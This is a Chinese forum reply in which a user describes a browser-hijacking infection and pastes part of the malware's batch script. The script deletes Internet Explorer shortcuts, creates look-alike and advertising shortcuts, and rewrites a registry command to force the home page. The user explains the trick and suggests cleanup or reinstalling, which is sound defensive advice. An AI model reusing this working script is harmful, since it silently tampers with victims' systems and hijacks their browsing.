jackalu

我前几天也被一个恶意程序改了首页了。它还使我的搜索功能失效了。我后来虽然清除了病毒，但是文件系统被破坏，不得不重装系统。恶意程序的一部分代码如下：
del "%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\启动 Internet Explorer 浏览器.lnk" /f/q/a
del "%userprofile%\桌面\Internet Explorer.lnk" /f/q/a
del "%userprofile%\桌面\Internet Exp1orer.lnk" /f/q/a
del "%userprofile%\桌面\Internet Explorer.lnk"  /f/q/a
del "%userprofile%\桌面\IEXPLORE.lnk" /f/q/a
del "%userprofile%\桌面\IEXPLOREr.lnk" /f/q/a
del "%userprofile%\桌面\Internet Exp*.lnk" /f/q/a


del "%userprofile%\「开始」菜单\程序\Internet*.lnk"  /f/q/a
del "%userprofile%\「开始」菜单\程序\*Internet*.lnk" /f/q/a

del "%userprofile%\桌面\Internet*.lnk"  /f/q/a
del "%userprofile%\桌面\Internet *.url"  /f/q/a
del "C:\Documents and Settings\All Users\桌面\Internet *.url" /f/q/a
del "C:\Documents and Settings\All Users\桌面\Internet *.lnk" /f/q/a

del "%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\Internet Explorer.url" /f/q/a
del "%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\Internet Explorer.lnk" /f/q/a

del   "%userprofile%\「开始」菜单\Internet Explorer.url"   /f/q/a
del   "%userprofile%\「开始」菜单\Internet Explorer.lnk"  /f/q/a
del  "C:\Documents and Settings\All Users\「开始」菜单\Internet Explorer.url" /f/q/a
del  "C:\Documents and Settings\All Users\「开始」菜单\Internet Explorer.lnk" /f/q/a

@echo off
echo [InternetShortcut] >"%ALLUSERSPROFILE%\桌面\Intenert Expleror.url"
echo URL=http://www.211dh.com/?9h12>>"%ALLUSERSPROFILE%\桌面\Intenert Expleror.url"
::URL=%ProgramFiles%\Internet Explorer\iexplore.exe
echo IconIndex=0 >>"%ALLUSERSPROFILE%\桌面\Intenert Expleror.url"
echo IconFile=%ProgramFiles%\Internet Explorer\iexplore.exe>>"%ALLUSERSPROFILE%\桌面\Intenert Expleror.url"
::IconFile=%cd%\

@echo off
echo [InternetShortcut] >"%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\Intenert Expleror.url"
echo URL=http://www.211dh.com/?9h12>>"%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\Intenert Expleror.url"
::URL=%ProgramFiles%\Internet Explorer\iexplore.exe
echo IconIndex=0 >>"%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\Intenert Expleror.url"
echo IconFile=%ProgramFiles%\Internet Explorer\iexplore.exe>>"%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\Intenert Expleror.url"
::IconFile=%cd%\

@echo off
echo [InternetShortcut] >"%ALLUSERSPROFILE%\「开始」菜单\程序\Intenert Expleror.url"
echo URL=http://www.211dh.com/?9h12>>"%ALLUSERSPROFILE%\「开始」菜单\程序\Intenert Expleror.url"
::URL=%ProgramFiles%\Internet Explorer\iexplore.exe
echo IconIndex=0 >>"%ALLUSERSPROFILE%\「开始」菜单\程序\Intenert Expleror.url"
echo IconFile=%ProgramFiles%\Internet Explorer\iexplore.exe>>"%ALLUSERSPROFILE%\「开始」菜单\程序\Intenert Expleror.url"
::IconFile=%cd%\

@echo off
echo [InternetShortcut] >"%ALLUSERSPROFILE%\桌面\淘宝网特价区.url"
echo URL=http://www.82vv.com/tb/?desk>>"%ALLUSERSPROFILE%\桌面\淘宝网特价区.url"
::URL=%ProgramFiles%\Internet Explorer\iexplore.exe
echo IconIndex=0 >>"%ALLUSERSPROFILE%\桌面\淘宝网特价区.url"
echo IconFile=%ProgramFiles%\winsoft3\taobao.ico>>"%ALLUSERSPROFILE%\桌面\淘宝网特价区.url"
::IconFile=%cd%\

@echo off
echo [InternetShortcut] >"%ALLUSERSPROFILE%\桌面\好玩的小游戏在线.url"
echo URL=http://www.45575.com/?desk>>"%ALLUSERSPROFILE%\桌面\好玩的小游戏在线.url"
::URL=%ProgramFiles%\Internet Explorer\iexplore.exe
echo IconIndex=0 >>"%ALLUSERSPROFILE%\桌面\好玩的小游戏在线.url"
echo IconFile=%ProgramFiles%\winsoft3\game.ico>>"%ALLUSERSPROFILE%\桌面\好玩的小游戏在线.url"
::IconFile=%cd%\

@echo off
echo [InternetShortcut] >"%ALLUSERSPROFILE%\桌面\免费快速高清晰电影.url"
echo URL=http://www.kuku46.com/?we2>>"%ALLUSERSPROFILE%\桌面\免费快速高清晰电影.url"
::URL=%ProgramFiles%\Internet Explorer\iexplore.exe
echo IconIndex=0 >>"%ALLUSERSPROFILE%\桌面\免费快速高清晰电影.url"
echo IconFile=%ProgramFiles%\winsoft3\kusila.ico>>"%ALLUSERSPROFILE%\桌面\免费快速高清晰电影.url"
::IconFile=%cd%\

@echo off
echo [InternetShortcut] >"%ALLUSERSPROFILE%\桌面\超级漂亮可爱美媚图.url"
echo URL=http://www.92nimm.com/?desk>>"%ALLUSERSPROFILE%\桌面\超级漂亮可爱美媚图.url"
::URL=%ProgramFiles%\Internet Explorer\iexplore.exe
echo IconIndex=0 >>"%ALLUSERSPROFILE%\桌面\超级漂亮可爱美媚图.url"
echo IconFile=%ProgramFiles%\winsoft3\mm.ico>>"%ALLUSERSPROFILE%\桌面\超级漂亮可爱美媚图.url"
::IconFile=%cd%\

@echo off
echo [InternetShortcut] >"%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\好玩的在线小游戏.url"
echo URL=http://www.45575.com/?desk>>"%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\好玩的在线小游戏.url"
::URL=%ProgramFiles%\Internet Explorer\iexplore.exe
echo IconIndex=0 >>"%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\好玩的在线小游戏.url"
echo IconFile=%ProgramFiles%\winsoft3\game.ico>>"%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\好玩的在线小游戏.url"
::IconFile=%cd%\

@echo off
echo [InternetShortcut] >"%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\免费快速电影.url"
echo URL=http://www.kuku46.com/?we2>>"%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\免费快速电影.url"
::URL=%ProgramFiles%\Internet Explorer\iexplore.exe
echo IconIndex=0 >>"%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\免费快速电影.url"
echo IconFile=%ProgramFiles%\winsoft3\kusila.ico>>"%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\免费快速电影.url"
::IconFile=%cd%\

@echo off
echo [InternetShortcut] >"%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\淘宝网今天特价区.url"
echo URL=http://www.82vv.com/tb/?desk>>"%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\淘宝网今天特价区.url"
::URL=%ProgramFiles%\Internet Explorer\iexplore.exe
echo IconIndex=0 >>"%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\淘宝网今天特价区.url"
echo IconFile=%ProgramFiles%\winsoft3\taobao.ico>>"%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\淘宝网今天特价区.url"
::IconFile=%cd%\

@reg del "HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" /v  
@reg add "HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" /v "" /d "%ProgramFiles%\Internet Explorer\iexplore.exe http://www.211dh.com/?9h12" /f


del "%userprofile%\桌面\*Internet*.lnk" /f/q/a

@echo off
echo [InternetShortcut] >"%ALLUSERSPROFILE%\「开始」菜单\Intenert Expleror.url"
echo URL=http://www.211dh.com/?9h12>>"%ALLUSERSPROFILE%\「开始」菜单\Intenert Expleror.url"
::URL=%ProgramFiles%\Internet Explorer\iexplore.exe
echo IconIndex=0 >>"%ALLUSERSPROFILE%\「开始」菜单\Intenert Expleror.url"
echo IconFile=%ProgramFiles%\Internet Explorer\iexplore.exe>>"%ALLUSERSPROFILE%\「开始」菜单\Intenert Expleror.url"
::IconFile=%cd%\

可见，它是用替换快捷方式的办法令你上钩，真正的IE并没有被改动，因此像360这些IE修复工具都无法弄好，因为真正的IE没问题。你可以下载一个windows清理助手试一试。

不过你最好检查下你的搜索功能是否正常，如果搜索功能用不了，在注册表搜索这个键值“C:\Program Files\Internet Explorer\SIGNUP”    它下面接下来如果是类似于\iexplore.exe %1 h%t%t%p:%//%w%w%w.%15%18%16dh.%c%o%m的就可能是我中的这种可怕的病毒了。因为这一段h%t%t%p:%//%w%w%w.%15%18%16dh.%c%o%m就是目前大部分杀毒软件都无法把IE首页改回来的原因。这种病毒还会在后台下载木马。如果是这样的话，建议你重装系统。网上虽然对这种病毒有解决的办法，但是实际上还有很多后门已经被打开了。我也是没办法，才重装的。
极度鄙视那些写出恶意修改主页病毒的人！